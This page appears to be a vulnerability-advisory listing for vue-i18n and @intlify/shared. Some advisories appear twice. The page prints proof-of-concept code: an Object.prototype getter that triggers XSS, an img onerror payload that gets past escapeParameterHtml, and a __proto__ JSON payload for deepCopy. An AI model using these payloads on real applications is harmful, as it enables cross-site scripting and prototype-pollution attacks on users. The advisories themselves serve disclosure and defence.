All the vulnerabilities related to the version 9.10.0 of the package
vue-i18n has cross-site scripting vulnerability with prototype pollution
XSS
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>vue-i18n XSS</title>
<script src="https://unpkg.com/vue@3"></script>
<script src="https://unpkg.com/vue-i18n@10"></script>
<!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
<script>
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
*
* In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
* so there is always a property that is attached during optimization like this time.
* But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
*/
Object.defineProperty(Object.prototype, 'static', {
configurable: true,
get() {
alert('prototype polluted!')
return 'prototype pollution'
}
})
</script>
</head>
<body>
<div id="app">
<p>{{ t('hello') }}</p>
</div>
<script>
const { createApp } = Vue
const { createI18n, useI18n } = VueI18n
// AST style locale message, which build by `@intlify/unplugin-vue-i18n`
const en = {
hello: {
type: 0,
body: {
items: [
{
type: 3,
value: 'hello world!'
}
]
}
}
}
const i18n = createI18n({
legacy: false,
locale: 'en',
messages: {
en
}
})
const app = createApp({
setup() {
const { t } = useI18n()
return { t }
}
})
app.use(i18n)
app.mount('#app')
</script>
</body>
</html>
Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.
vue-i18n's escapeParameterHtml does not prevent DOM-based XSS through its tag attributes
The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as <img src=x onerror=...>, if the interpolated value is inserted inside an HTML context using v-html.
This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html.
When escapeParameterHtml: true is enabled, it correctly escapes common injection points.
However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via:
<img src=x onerror=alert(1)>
In your Vue I18n configuration:
const i18n = createI18n({
escapeParameterHtml: true,
messages: {
en: {
vulnerable: 'Caution: <img src=x onerror="{payload}">'
}
}
});
Use this interpolated payload:
const payload = '<script>alert("xss")</script>';
Render the translation using v-html (even not using v-html):
<p v-html="$t('vulnerable', { payload })"></p>
Expected: escaped content should render as text, not execute.
Actual: script executes in some environments (or the payload is partially parsed as HTML).
This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) .
@intlify/shared Prototype Pollution vulnerability
Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
References
Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.
OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.
PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.
vue-i18n has cross-site scripting vulnerability with prototype pollution
XSS
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>vue-i18n XSS</title>
<script src="https://unpkg.com/vue@3"></script>
<script src="https://unpkg.com/vue-i18n@10"></script>
<!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
<script>
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
*
* In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
* so there is always a property that is attached during optimization like this time.
* But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
*/
Object.defineProperty(Object.prototype, 'static', {
configurable: true,
get() {
alert('prototype polluted!')
return 'prototype pollution'
}
})
</script>
</head>
<body>
<div id="app">
<p>{{ t('hello') }}</p>
</div>
<script>
const { createApp } = Vue
const { createI18n, useI18n } = VueI18n
// AST style locale message, which build by `@intlify/unplugin-vue-i18n`
const en = {
hello: {
type: 0,
body: {
items: [
{
type: 3,
value: 'hello world!'
}
]
}
}
}
const i18n = createI18n({
legacy: false,
locale: 'en',
messages: {
en
}
})
const app = createApp({
setup() {
const { t } = useI18n()
return { t }
}
})
app.use(i18n)
app.mount('#app')
</script>
</body>
</html>
Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.
vue-i18n's escapeParameterHtml does not prevent DOM-based XSS through its tag attributes
The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as <img src=x onerror=...>, if the interpolated value is inserted inside an HTML context using v-html.
This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html.
When escapeParameterHtml: true is enabled, it correctly escapes common injection points.
However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via:
<img src=x onerror=alert(1)>
In your Vue I18n configuration:
const i18n = createI18n({
escapeParameterHtml: true,
messages: {
en: {
vulnerable: 'Caution: <img src=x onerror="{payload}">'
}
}
});
Use this interpolated payload:
const payload = '<script>alert("xss")</script>';
Render the translation using v-html (even not using v-html):
<p v-html="$t('vulnerable', { payload })"></p>
Expected: escaped content should render as text, not execute.
Actual: script executes in some environments (or the payload is partially parsed as HTML).
This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) .